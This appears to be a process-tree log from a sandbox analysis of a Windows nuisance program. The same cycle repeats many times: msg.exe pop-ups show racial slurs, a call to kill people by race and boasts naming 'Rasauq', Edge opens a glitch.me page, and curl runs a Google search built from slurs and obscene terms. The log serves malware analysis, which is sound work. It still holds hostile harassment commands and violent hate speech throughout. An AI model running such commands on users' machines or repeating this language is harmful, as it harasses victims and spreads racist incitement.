C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
